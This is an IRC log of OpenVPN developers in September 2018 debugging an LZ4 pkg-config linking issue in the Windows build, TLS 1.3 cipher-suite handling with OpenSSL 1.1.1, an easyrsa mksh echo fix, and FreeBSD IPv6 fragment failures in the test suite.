master · OpenVPN/openvpn · GitHub (at github.com) 07:36 <@dazo> lev__: if system lz4 is found it should use that instead of the built-in version 07:37 <@dazo> if LZ4_LIBS are empty .... that indicates a pkg-config support file is missing though 07:37 <@dazo> or not found 07:37 <@dazo> or is incorrect 07:37 <@dazo> if not found, it should fallback to the built-in version, though 07:39 <@cron2> i read through configure, and it seems to then try "just link with -llz4" next 07:39 <@cron2> in case you have a system that does have lz4 but no pkg-config for it 07:39 <@cron2> and if that fails (or the version number is too old, the test program checks) it will use built-in 07:39 <@cron2> so I can't really see how it ends up having HAVE_LZ4=true but no -llz4 (and no compat) in the library list... 07:40 <+lev__> I have lz4 1.8.something and PKG_CHECK_MODULES goes to "action if found" branch which just sets have_lz4 to yes 07:42 <+lev__> I am not too much into autotools, but I don't see where it says "link with -llz4" since it doesn't set value of "LZ4_LIBS" 07:51 <@cron2> it should fill the libs with the output from pkg-check 07:54 <+lev__> cron2: that's what I see in Windows: https://gist.github.com/lstipakov/690d6e64552fe9770b01d26a6a138181 07:54 <@vpnHelper> Title: gist:690d6e64552fe9770b01d26a6a138181 · GitHub (at gist.github.com) 07:55 <+lev__> while PKG_CHECK succeed, LZ4_LIBS is empty 08:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:46 <@cron2> mmmh. interesting. it should eventually end up here 08:46 <@cron2> pkg_cv_LZ4_LIBS=`$PKG_CONFIG --libs "liblz4 >= 1.7.1 liblz4 < 100" 2>/dev/null 08:47 <@cron2> more interesting... I do not see where this ever ends up in LZ4_LIBS 08:47 <@cron2> ah 08:47 <@cron2> here 08:47 <@cron2> elif test $pkg_failed = untried; then 08:47 <@cron2> ... 08:47 <@cron2> else 08:47 <@cron2> LZ4_LIBS=$pkg_cv_LZ4_LIBS 08:48 <@cron2> lev__: so what does your pkg-config answer to "pkg-config --libs ..."? 09:03 <+lev__> $ pkg-config --libs "liblz4 >= 1.7.1 liblz4 < 100" 09:03 <+lev__> -llz4 09:05 <+lev__> also from config.log: 09:05 <+lev__> pkg_cv_LZ4_CFLAGS= 09:05 <+lev__> pkg_cv_LZ4_LIBS= 09:26 <@plaisthos> anyone an idea, how to debug OpenSSL? :P 09:29 <@ordex> wear an helmet 09:29 <@plaisthos> hehe 09:29 <@ordex> :p 09:29 <@plaisthos> s_client vs s_server connects without problems with the same certificates 09:31 <@plaisthos> penSSL: error:14209102:SSL routines:tls_early_post_process_client_hello:unsupported protocol is the only thing I get out of OpenVPN 09:36 < tincantech> plaisthos: the only time i have seen that message is when mixing tls-version-min/max badly 09:39 <@ecrist> tincantech: what do you mean "how do I plan to move easyrsa forward" 09:39 < tincantech> Question: with openssl 111 tls 1.3 I have a server+client all working great but .. it seems I cannot set --tls-cipher, no matter what I try openvpn always uses 09:39 < tincantech> oops .. ignore that ^ 09:40 <@plaisthos> tincantech: seem that setting tls-version-min to *any* value (1.0/1.1/1.2) allows the client to connect 09:40 < tincantech> ecrist: it seems master is missing some fairly important changes you made to 306 .. so I don't know what to push to or even if it is ready for PRs .. i am quite confused 09:41 < tincantech> plaisthos: cool 09:41 <@ecrist> tincantech: I will make master current with what I have in 306 09:41 <@plaisthos> tincantech: yeah, it fixes my local problem but the big question is: WHY the hell does it fix it?! 09:42 < tincantech> ecrist: ok .. that was along the lines of what i thought would happen "eventually" 09:42 <@ecrist> 306 is more about fixing any glaring issues in 305 09:43 <@ecrist> like the password prompt/echo issue, or other items. 09:43 <@ecrist> I'm still fighting that one 09:43 < tincantech> did you read #234 .. sort of covers that whole wasp nest 09:47 <@ecrist> I did, and if I read it correctly, you're essentially suggesting we roll back a change I made in 305 09:49 < tincantech> i did not know when the change was made but i did sort of figure out that "rllong back" to the SSL lib for passwords was not something you would be keen on but i though it worth pointing out .. the final decision is yours 09:49 <@ecrist> at this point, that is not the direction I intend on going. 09:51 < tincantech> is there a specific reason for not using the SSL lib .. it seems to me that trusting the SSL lib is preferred 09:51 < tincantech> i would imagine "they" put quite a lot of work into making that bit right 09:52 <@ecrist> I suggest reading the related change and issue 10:00 <@plaisthos> okay openvpn 2.3.4 defaults to calling TLSv1_client_method when no tls-version is given 10:01 <@plaisthos> which is basically the same as saying tls-version-min 1.0 and tls-version-max 1.0 10:10 <@cron2> lev__: this is very strange indeed. You could run configure with "set -x" at the beginning to really debug what's going on... 10:10 <@plaisthos> or bash -x configure ;) 10:10 <@cron2> yeah 10:12 <@plaisthos> The debian 8 client needs an explicit tls-version-min 1.1 otherwise it does not connect 10:12 <@plaisthos> seem that OpenSSL 1.3 lost its tls 1.0 support 10:15 <@ordex> ossl 1.3 ?! 10:15 <@plaisthos> openssl with tls 1.3 10:17 <@plaisthos> if you run the openssl s_server -tls1 the oepnssl s_client -tls can cannot 10:18 <@cron2> fascinating 10:19 <@plaisthos> interestingly a s_client with OpenSSL/TLS 1.3 can connect to an OpenSSL s_server with 1.0 only 10:21 <@plaisthos> so my client can connect fine but when start upgrading their servers old client cannot connect anymore 10:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:58 <@plaisthos> cron2: and as soon the next ubuntu/debian/whatever distro is released a lot of people will stumble upon that :P 10:58 <@cron2> plaisthos: yep. "Fascinating" in a slightly morbid way... 11:04 <@plaisthos> ah :0 11:09 <@cron2> so, this hackerone thingie 11:10 <@cron2> people I do not know tell me I should click on links I receive in a mail which is not signed 11:10 <@cron2> yay 11:10 <@cron2> security! 12:13 < SCHAPiE> plaisthos: yes, haven't tested SM3 yet 12:13 < SCHAPiE> but i've tested all the others 12:13 < SCHAPiE> they're working nicely 13:12 <@cron2> this will be fun... tunnelblick beta with OpenSSL 1.1.1 14:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:10 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Ping timeout: 252 seconds] 16:12 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+o dazo] by ChanServ 16:26 < tincantech> ecrist: i have a fix for #230 ;) 16:50 < tincantech> ecrist: tested on w10 linux freebsd (does not touch ssl lib) *smug mode* :) 16:55 < tincantech> lol .. looks like you're busy ;) 17:29 < tincantech> ecrist: $1m question .. which branch do you want me to push it to ? thoroughly tested 18:00 -!- Netsplit *.net <-> *.split quits: @dazo 18:01 -!- dan-- is now known as dan- 18:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 18:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:06 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 18:15 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:15 -!- mode/#openvpn-devel [+o dazo] by ChanServ 18:16 <@dazo> tincantech: I've just pushed out a new Fedora Copr build with openvpn3-client packages ( https://copr.fedorainfracloud.org/coprs/dsommers/openvpn3/ ) if you want to run some quick tests on CentOS or Fedora 18:16 <@vpnHelper> Title: dsommers/openvpn3 Copr (at copr.fedorainfracloud.org) 18:25 < tincantech> dazo: hi .. i just have not got round to it yet .. really sorry 18:29 <@dazo> no worries, it was just to give you a heads-up :) 18:48 < tincantech> ok :) I promise i will soon 19:55 <@ecrist> tincantech: 306 is fine for now 19:56 <@ecrist> we'll merge it all into master later 19:58 < tincantech> hope you like my patch #238 20:00 < tincantech> i understand it is a behaviour difference .. but what can you do 20:03 <@ecrist> ? 20:03 * ecrist looks 20:05 <@ecrist> what is set +o echo doing? 20:08 < tincantech> that is how the win32/mksh does it 20:09 < tincantech> i had to read the source to get it 20:09 <@ecrist> oh rly 20:09 * ecrist tries it 20:09 < tincantech> yup 20:09 < tincantech> it really does work 20:09 <@ecrist> no shit, it really does. 20:09 < tincantech> ;) 20:10 < tincantech> that function is gonna come it quite handy 20:10 < tincantech> in* 20:10 <@ecrist> What's funny, I asked in the mksh IRC channel and the devs basically told me it doesn't support it. 20:13 <@ecrist> Your file test for the logic seem fine, but I think an OS check would be better. This is probably sufficient for now. 20:13 < tincantech> rtfm ;) 20:13 <@ecrist> rtfs 20:13 < tincantech> ok .. the check was just a first attempt 20:14 < tincantech> rtfs ;) 20:18 <@ecrist> merged. 20:21 < tincantech> cool 20:21 < tincantech> time for zzz --- Day changed Tue Sep 25 2018 00:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:39 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:00 <@cron2> lev__: are you not coming to the hackathon? 04:12 <+lev__> I am coming 04:13 * lev__ updating hackathon page 05:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:13 < tincantech> syzzer: i presume you are aware but if openvpn uses tls 1.3 yit always uses TLS_AES_256_GCM_SHA384 .. even if you specify a tls-cipher in the configs 06:14 < tincantech> see https://forums.openvpn.net/viewtopic.php?f=6&t=27132 06:14 <@vpnHelper> Title: TLS 1.3 cipher priority - OpenVPN Support Forum (at forums.openvpn.net) 06:34 <@cron2> mmh, fun... https://www.riskiq.com/blog/labs/magecart-british-airways-breach/ 06:34 <@vpnHelper> Title: The British Airways Breach: How Magecart (at www.riskiq.com) 07:12 <@syzzer> tincantech: no, I wasn't aware, but that makes sense, yes. We'll need to extend/redo our --tls-cipher implementation probably. 07:13 <@syzzer> TLS 1.3 has a different concept of cipher suites, and I expect we need to learn that concept too. 07:16 < tincantech> syzzer: ok .. he he we beat you to it ;) .. how do you prefer to trac this ? bug report or devel mail or something else ? 07:34 <@cron2> mmmh, someone turned on slave-debian-7-i386 :) 07:39 <@syzzer> tincantech: yeah, trac is best for keeping this on the todo list 07:45 < tincantech> syzzer: will do 08:01 <@vpnHelper> RSS Update - tickets: #1117: TLS 1.3 --tls-cipher does not assign specified TLS cipher <https://community.openvpn.net/openvpn/ticket/1117> 08:02 < tincantech> syzzer: ^ 08:03 < tincantech> plaisthos: do you want my "spelling services" for your latest patch ? ;-) 08:33 <+lev__> any idea why in Windows build PKG_CONFIG is set to true https://github.com/OpenVPN/openvpn-build/blob/master/generic/build#L405 08:33 <@vpnHelper> Title: openvpn-build/build at master · OpenVPN/openvpn-build · GitHub (at github.com) 08:34 <+lev__> if I comment it out then PKG_CHECK_MODULES correctly sets value of LZ4_LIBS 08:35 <@vpnHelper> RSS Update - tickets: #1118: OpenVPN 2.4.6 does not respect -tls-cipher priority when using TLS 1.3 <https://community.openvpn.net/openvpn/ticket/1118> 08:41 <@cron2> oh, that's a particular weird approach to things 08:41 < tincantech> somebody Close #1117 for me please 08:45 <@cron2> lev__: no idea. We'd need to test if this breaks cross-compilation if unset 08:46 < tincantech> cron2: thanks :) 08:54 <@ecrist> tincantech: can you tell me which file/line you found the set -o echo? 08:54 <@ecrist> For mksh? 08:58 < tincantech> i didn't .. it will take me a while to work out what i found 09:01 < tincantech> start at line 820 of misc.c 09:02 <@ecrist> I see a define in sh.h on line 2143 that calls out an source flag, I suspect that's it. 09:02 < tincantech> above 09:03 < tincantech> once you are in mksh you can do 'set -o' for a list of option 09:09 < tincantech> lev__: cron2 i just did a build-complete --use-depcache with build:line 405 commented out and it built ok 09:10 <+lev__> tincantech: yeah just tested myself on Ubuntu16 09:10 <@cron2> tincantech: nice. (I have no idea how this is supposed to work in the first place for a cross-build environment, but if it builds...) 09:10 * lev__ is making PR 09:12 <@ecrist> tincantech: here, right? https://github.com/MirBSD/mksh/blob/master/misc.c#L820 09:12 <@vpnHelper> Title: mksh/misc.c at master · MirBSD/mksh · GitHub (at github.com) 09:13 <@ecrist> tincantech: /j #easyrsa 09:17 < tincantech> ecrist: no that's not it .. let me double check 09:18 < tincantech> you seem to have a different file to me 09:18 <@ecrist> where did you get your source? 09:19 < tincantech> i got my source from the zip download from 2013 09:20 < tincantech> i'll dig out the link 09:25 <@plaisthos> tincantech: sure. I already know there there is one space missing ;) 09:25 < tincantech> ecrist: https://www.mirbsd.org/permalinks/wlog-10_e20130718-tg.htm 09:25 <@vpnHelper> Title: MirOS: MirOS ξ (at www.mirbsd.org) 09:26 < tincantech> ecrist: the beta14.zip 09:26 <@plaisthos> tincantech: you can subscribe without posting to a bug btw :P 09:27 <@ecrist> tincantech: /j #easyrsa 09:30 < tincantech> plaisthos: i am not sure i have that right currently and mattock1 is v.v.v.busy so i just cc myself 09:31 <@plaisthos> tincantech: Yeah, I am also not 100% sure how you would do that 09:31 <@plaisthos> the ui is not exactly good 09:32 <@plaisthos> ah, it is edit ticket and then add yourself in the cc list 09:34 < tincantech> i don't have that option yet ;-) 09:34 <@cron2> syzzer, plaisthos: I assume the "mbedtls pkcs11" patch set is "master only"? 09:35 <@cron2> 461..463 09:35 <@plaisthos> cron2: to be honest no idea :D 09:35 <@vpnHelper> RSS Update - gitrepo: Properly free tuntap struct on android when emulating persist-tun <https://github.com/OpenVPN/openvpn/commit/da3f583f30a4b2be9cc5501874373fc4f627158d> 09:41 <@plaisthos> I am not sure if it applies to 2.4 or not 09:41 * plaisthos hates new mbedtls version 09:41 <@plaisthos> /Users/arne/software/icsopenvpn/main/src/main/cpp/mbedtls/library/blowfish.c:29:10: fatal error: 'mbedtls/config.h' file not found 09:42 <@plaisthos> /Users/arne/software/icsopenvpn/main/src/main/cpp/mbedtls/library/blowfish.c:29:10: fatal error: 'mbedtls/config.h' file not found 09:42 <@plaisthos> they somehow broke their own cmake file 09:51 <@mattock1> please note that I don't have a functional IRC bouncer atm, so please poke me when I'm online if it looks like I missed some question 09:51 <@mattock1> or send email 09:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:53 <@syzzer> cron2: yes, master only 10:00 <@cron2> syzzer: htanks 10:28 < tincantech> plaisthos: are you sure about that ? .. does that mean --tls-cipher will be deprecated ? if it no longer works .. 10:36 <@plaisthos> tincantech: no you misunderstood the response 10:36 <@plaisthos> it still very well works 10:36 <@plaisthos> just openssl chooses to use it a bit different then before 10:36 <@plaisthos> if you did tls-cipher a:b before you got a preference for a over b 10:37 <@plaisthos> (this is a bit of a guess have not thoroughly checked this) now with tls1.3, tls1.3 will not pick any non tls1.3 cipher anymore, so if a is a tls1.2 cipher and b is a tls1.3 cipher you get b 10:37 < tincantech> gotcha .. thanks for the explanation :) 10:54 < tincantech> plaisthos: FYI, even if you specify the correct 1.3 chacha cipher it still uses TLSv1.3 TLS_AES_256_GCM_SHA384, 384 bit EC, curve: secp384r1 10:54 < tincantech> i tested it myself 10:55 <@plaisthos> yeah 10:55 <@plaisthos> seems to ignore tls-cipher for 1.3 10:56 < tincantech> syzzer made a comment above just after i rejoined .. 10:56 <@plaisthos> not related tot that 10:56 < tincantech> yeah .. he replied to me direct 10:57 < tincantech> 12:13:43 tincantech | syzzer: i presume you are aware but if openvpn uses tls 1.3 yit always uses 10:57 <@plaisthos> hm 10:57 <@plaisthos> seem more like a new api whatever problem 10:58 < tincantech> syzzer did ask me to trac it but the jimdoe wrote a better summery so i got mine closed 10:58 <@plaisthos> udo openssl s_server -CApath /etc/openvpn/cas -cert /etc/openvpn/openvpn.blinkt.de.pem -key /etc/openvpn/openvpn.blinkt.de.key -ciphersuites "TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384" works 10:59 < tincantech> ahh .. cool 10:59 <@plaisthos> but still prefers whatever the client prefers 11:00 <@plaisthos> SSL_CTX_set_cipher_list vs SSL_CTX_set_ciphersuites 11:00 < tincantech> yeah .. doesn't seem to work for me 11:01 <@plaisthos> tincantech: what? 11:01 < tincantech> using tls-cipher TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384 in both client and server still uses AES 11:02 < tincantech> openvpn 2.4.6 with openssl 1.1.1 (from arch repo) 11:03 < tincantech> maybe i should try 2.5 11:03 <@plaisthos> tincantech: nah 11:03 <@plaisthos> plaisthos: won't help 11:03 <@plaisthos> OpenSSL is screwing us up 11:04 < tincantech> lol .. that is pretty much what the libressl guys say too ;) 11:04 <@plaisthos> so in good openssl tradition we would now add tls-cphersuites 11:04 <@plaisthos> to have then tls-cipher and tls-ciphersuite to confuse everyone! 11:07 < tincantech> confuse us even more than usual at least :P 11:13 < tincantech> plaisthos: i just noticed you used openssl directly not openvpn nice tip .. thanks for your help ;) 15:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 15:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:44 <@cron2> philip is trying to annoy me... "sometimes" fragmented IPv6 pings are going unanswered, so t_client fails... 15:59 < tincantech> cron2: is this a new thing or for a while ? 15:59 < tincantech> a while ago i built a 2048bit dh.pem .. 16:03 < tincantech> i mean on phillip i buit it 16:31 <@plaisthos> syzzer: do you have a better idea than expoing the new API via --tls-ciphersuits and adding a warning when we have OpenSSL 1.3 and only one of them is set? --- Day changed Wed Sep 26 2018 00:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:19 <@cron2> tincantech: it's a new thing, but since you do not have root access, it's very unlikely that something you did can influence the (running as root, in a root-owned directory) openvpn test servers 01:20 <@cron2> more like "firewall rules eating fragments" thing 01:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:40 <@dazo> FYI ... I have a meeting conflict today with the community meeting in about an hour .... But the meeting I'm having is about Hackathon preparations with the Lviv guys (unfortunately their schedule was tight so this is what we could manage now) 03:40 <@dazo> anyway ... if there are any special requests or wishes, please let me know 03:44 <@ordex> oghey 03:47 <@dazo> Btw ... Simon R didn't get funding for the Hackathon and didn't get a chance to come this year 03:47 <@ordex> oh ok 03:53 <@cron2> ecirst: are you around? 04:02 <@cron2> *grumble*g 04:03 <@cron2> t_client is borked because FreeBSD borked IPv6 fragment handling in 11.2-RELEASE-p3 04:03 <@cron2> https://svnweb.freebsd.org/base/head/sys/netinet6/frag6.c?view=log 04:03 <@vpnHelper> Title: [base] Log of /head/sys/netinet6/frag6.c (at svnweb.freebsd.org) 04:03 <@cron2> most recent patch is not in yet... 04:17 <@cron2> ecrist: I have enabled pf(4) on phillip, because I hope that pf's fragment handling will fix my issues 04:18 <@cron2> (and it does) 04:26 <@cron2> *sigh*, now my socks proxy isn't working nicely... 04:34 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 2c 2d 2e 3 4 4a 4b 5 6 8 9. 04:34 <@cron2> Test sets failed: none. 04:34 <@cron2> so. This was supposed to be a quick merge... after a few hours fixing test infrastructure, I'm now confident :-) 04:47 <@dazo> :) 05:23 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 2c 2d 2e 3 4 4a 4b 5 6 8 9. 05:26 <@vpnHelper> RSS Update - gitrepo: mbedtls: remove dependency on mbedtls pkcs11 module <https://github.com/OpenVPN/openvpn/commit/03c8bfc90fbc63007f62d3ed165942d149225551> || mbedtls: make external signing code generic <https://github.com/OpenVPN/openvpn/commit/03defa3b29eafc954304532d766aff11712ff9de> || Do not load certificate from tls_ctx_use_external_private_key() <https://github.com/OpenVPN/openvpn/commit/98bfeeb468ae5a29e8151066999f2d830ab 05:26 <@ordex> !!! 05:47 <@syzzer> hm, travis detected memory leaks - I guess I'll have to investigate that... 05:49 <@syzzer> too bad the log is not very useful :( 05:50 <@dazo> crap ... my nitrokey has died :( 06:04 <@cron2> syzzer: in the just-merged patches? 06:08 <@cron2> ok, so what did I break now... IPv4 size 3000 ping tests fail for OpenSolaris... 06:15 <@cron2> ordex: how's your time availability? 06:17 <@syzzer> cron2: that's what travis is reporting 06:18 <@syzzer> https://travis-ci.org/OpenVPN/openvpn/jobs/433417801#L2490 06:18 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 06:20 <@ordex> cron2: concerning what? today? 06:20 <@ordex> before the hackathon? 06:20 <@cron2> https://patchwork.openvpn.net/patch/452/ 06:20 <@vpnHelper> Title: [Openvpn-devel] Fix combination of --dev tap and --topology subnet across multiple platforms. - Patchwork (at patchwork.openvpn.net) 06:22 <@ordex> cron2: are you referring to " fixing this for good in master" ? 06:27 <@cron2> no, I want an ACK for 2.4 :-) 06:33 <@cron2> (and in the corresponding ticket, I'd love a comment on whether the proposed idea for master is sane - make this an enum, and have a switch/case in each platform, instead of the nested if() dance) 06:52 <@ordex> cron2: I can definitely stare at the code, as that area is familiar to me, but can't test on non-win/non-linux platforms. we have to rely on t_client for that (already passed afaics) 06:53 <@cron2> yes, it's more like "do you agree that the if/else clauses need to take that extra condition into account, and is it done consistently across all platforms" :) 06:54 <@cron2> we could take a different approach and just disallow --topology to be set together with --mode tap, but I'm not sure that the end result would be more clean 06:54 <@ordex> plaisthos: you replied to me only with your latest email to "message for TLS bla bla 2.3.6" 06:56 <@plaisthos> oh :/ 06:56 <@ordex> :p 06:56 <@ordex> but basically that clarifies "this is a server message, not a client one" 06:57 <@plaisthos> ordex: it is obvious! The error talks about client hello! 06:57 <@plaisthos> *ducks* 06:57 <@ordex> !! 06:57 <@ordex> well, we couldn't exclude it was a typ0 :P 07:27 <@plaisthos> syzzer: should I check for SSL_CTX_set_ciphersuites or do a check against version > 1.1.1 and ignore that libressl will probably be broken? 07:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:52 <@plaisthos> syzzer: I have trouble finding where the IANA names come from https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml has the names with underscore instead of - 07:52 <@vpnHelper> Title: Transport Layer Security (TLS) Parameters (at www.iana.org) 08:15 <@syzzer> plaisthos: that is where they come from (or at least, are listed) 08:15 <@syzzer> openssl uses completely different names, mbedtls replaces the underscores with dashes 08:15 <@plaisthos> syzzer: ah okay 08:15 <@syzzer> we followed mbedtls, because those are much closer to the IANA names 08:16 <@plaisthos> for TLS1.3 openssl seems to use the iana names 08:16 <@syzzer> ah, let's just use the ones with underscores them 08:16 <@syzzer> and pary mbedtls will do the same... 08:17 -!- ecrist changed the topic of #openvpn-devel to: OpenVPN Development | User Support: #openvpn | EasyRSA: #easyrsa | See !git, !snapshots, or !meetings | cron2_> mmmh, this openvpn thingie is actually useful 08:17 <@syzzer> wrt version/function check, I really don't know anymore. I personally prefer the version checks, because then I know when to remove dead code. But then the libressl people get unhappy. 08:19 <@plaisthos> okay let them be unhappy for now 08:21 <@ordex> somebody has to be unhappy, it's a three-faces-relationship :P 08:28 <@cron2> since jca isn't talking to us anymore after the initial offer to help with OpenBSD and LibreSSL, let them be unhappy for a turn 08:57 <@plaisthos> yeah, version check it is then 09:36 <@cron2> your patch looks as if a tab has snuck in 09:37 <@cron2> just sayin' while ordex is not looking 09:37 <@cron2> nah, this is more a generic "2 space indent" thing... 09:38 <@plaisthos> cron2: the tls-ciphersuites patch? 09:38 <@cron2> yep 09:38 <@cron2> all the new code is 2-space-indented 09:38 <@plaisthos> *sigh* 09:38 <@plaisthos> probably my old openvpn default settings 09:39 <@cron2> and maybe the commit message should say something about convert_tls_list_to_openssl() - it's (AFAICS) just a move of code, but still, not directly related to the TLS 1.3 news 09:40 <@cron2> (and I'm not opposing that change :)) 09:44 <@plaisthos> syzzer: I screwed up my testing and tls-version-min 1.0 works 09:45 <@syzzer> plaisthos: ah, that explains my confusion 09:46 <@cron2> it hurtzzzz 09:46 <@cron2> "my server is running openvpn 2.0.9 and I cannot compile 2.4.6 because the server OS is slackware 12 and 2.4 does not compile" 09:47 <@syzzer> wow... 09:47 <@plaisthos> from 2007 09:48 <@plaisthos> cron2: Reply, "happy living in the past then" 09:48 < SCHAPiE> lol 09:48 <@ecrist> lol 09:49 <@cron2> connecting such to the Internet should be a capital offense 09:49 < SCHAPiE> tested that new Tunnelblick beta; works smoothly with TLSv1.3 settings 09:49 <@ecrist> so I need to shut down my Windows ME machine? 09:49 <@cron2> (still annoyed from the big ddos we had two weeks ago which stole a day of my life, caused by ISPs lacking spoofing filters, and tons of machines lacking proper firewalling to not response to LDAP/UDP queries...) 09:50 < SCHAPiE> hope it still works when this macOS 10.14 upgrade is complete :p 09:50 <@cron2> ecrist: if you have it connected to the Internet, yes. 09:50 <@plaisthos> SCHAPiE: oh tunnelblick already includes 1.1.1? 09:50 < SCHAPiE> yeah plaisthos 09:50 <@ecrist> cron2: it's my internet gateway, does that count? 09:50 <@cron2> plaisthos: yes, latest beta 09:50 <@cron2> ecrist: you are trolling, are you? I would expect nothing not FreeBSD-based from you 09:50 <@ecrist> :P 09:50 <@ecrist> who would use Millenial Edition for a router? 09:51 < SCHAPiE> plaisthos: tested with ARIA-256-CBC, the TLSv1.3 ciphers as tls-cipher, and BLAKE2b512 HMAC 09:51 <@cron2> glad I asked before starting to scream :-) 09:51 <@cron2> ecrist: you do not want to know the answer 09:51 <@plaisthos> ecrist: You need VPN to surf safe!!!!1111 09:52 <@plaisthos> SCHAPiE: I still have not not gotten much replies from my clinet 09:52 <@plaisthos> seems OSSL 1.1.1 is less critical than 1.1.0 was 09:52 <@plaisthos> SCHAPiE: make sure you disable ncp otherwise openvpn will ignore that and just AES-256-GCM :D 09:53 <@plaisthos> SCHAPiE: and you cannot set TLS 1.3 ciphers with tls-cipher 09:56 < SCHAPiE> plaisthos: yes, i'm familiar with how it works 09:56 < SCHAPiE> plaisthos: well, it does function exactly as intended 09:57 < SCHAPiE> i put those three TLSv1.3 ciphers in there 09:57 <@plaisthos> SCHAPiE: it doesn't :) 09:57 * cron2 want to see logs 09:57 <@plaisthos> see my latest patch 09:57 < SCHAPiE> i patched ssl.c a few days ago to add them :p 09:58 < SCHAPiE> in my local source here 09:58 <@plaisthos> SCHAPiE: did you add the SSL_CTX_set_ciphersuites ? 09:58 <@plaisthos> SCHAPiE: please see this: https://patchwork.openvpn.net/patch/470/ 09:58 <@vpnHelper> Title: [Openvpn-devel] Add support for tls-ciphersuites for TLS 1.3 - Patchwork (at patchwork.openvpn.net) 10:00 < SCHAPiE> plaisthos: ah, i used a different method, the one i follow a while ago when i submitted that CHACHA20-POLY1305 ciphersuite patch 10:00 < SCHAPiE> *the same one 10:00 <@plaisthos> SCHAPiE: hm? Submitted where? 10:01 < SCHAPiE> plaisthos: a while back, for 2.3.14 iirc 10:01 < SCHAPiE> so it would have IANA name translations for them 10:01 < SCHAPiE> to use with LibreSSL 10:01 <@plaisthos> yeah but IANA names or not doesn't matter 10:01 <@plaisthos> as OpenSSL ignores tls-cipher setting for TLS 1.3 10:04 < SCHAPiE> plaisthos: log still shows this: https://pb.woohooyeah.nl/qotid 10:04 <@vpnHelper> Title: hastebin (at pb.woohooyeah.nl) 10:04 < SCHAPiE> and the Fortinet firewall just saw UDP/portnumber, normally it would say something like SSL_TLSv1.2 10:04 < SCHAPiE> so to me it indicates that it is doing TLSv1.3 10:05 < SCHAPiE> i'm just using openvpn-2.4.6 on both sides, built with openssl-1.1.1 10:05 <@plaisthos> SCHAPiE: yes, it shows using TLS_AES_256_GCM_SHA384 10:05 <@plaisthos> which is the default TLS v1.3 cipher :) 10:05 <@ordex> plaisthos: check the codingstyle page ! 10:05 <@plaisthos> ordex: cron2 warned me already about you blaming me :p 10:06 <@plaisthos> I screwed up tabs/spaces/indent 10:06 < SCHAPiE> plaisthos: ahh, yes, now i remember; it doesn't accept the ciphersuite order, you are right :D 10:06 < SCHAPiE> changing the order didn't result in it using the leftmost defined one 10:06 <@plaisthos> SCHAPiE: yes, as I said, tls-cipher is completely ignored for TLS 1.3 10:07 < SCHAPiE> plaisthos: allright, understood; i did remember it as a "small failure" of my own patching skills, and guessed it would be fixed by someone more proficient in C eventually :P 10:07 < SCHAPiE> seeing TLSv1.3 in my log already made me happy, hehe 10:08 <@plaisthos> SCHAPiE: you can apply my patch and use tls-ciphersuites to configure cipher suites for 1.3 10:10 < SCHAPiE> plaisthos: cool, nice work; and it's meant to be applied to the 2.4.6 source? 10:10 <@plaisthos> SCHAPiE: patch is against master but should apply to 2.4.6 too 10:11 < SCHAPiE> plaisthos: i'll test it one of these days 10:12 <@ordex> plaisthos: :P 10:13 < SCHAPiE> "yeah but IANA names or not doesn't matter" -> true, it's an aesthetic thing, to produce cleaner log output :P 10:14 <@plaisthos> feel free to send a patch for TLS 1.3 ciphers 10:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:57 < gcoxmoz> Thanks for the meeting notes, folks. Particularly the links for the high-level 2.5 plans. 11:00 <@cron2> yah, that zoom thingie is so not working on iOS 11:02 <@cron2> mattock1: I'll join you when iOS is done installing the zoom client 11:05 <@ordex> cron2: good luck :D 11:05 <@cron2> I can hear someone's kid in the background 11:05 <@cron2> and see black 11:05 <@cron2> the black looks very much like mattock1 11:07 <@cron2> is it just me or is Jack's audio horrible? 11:07 <@cron2> Samuli was good 11:09 <@cron2> can you see anything? 11:10 <@ordex> no 11:11 <@ordex> because all webcams are disabled as far as i can see 11:11 <@ordex> yours is the only enabled one 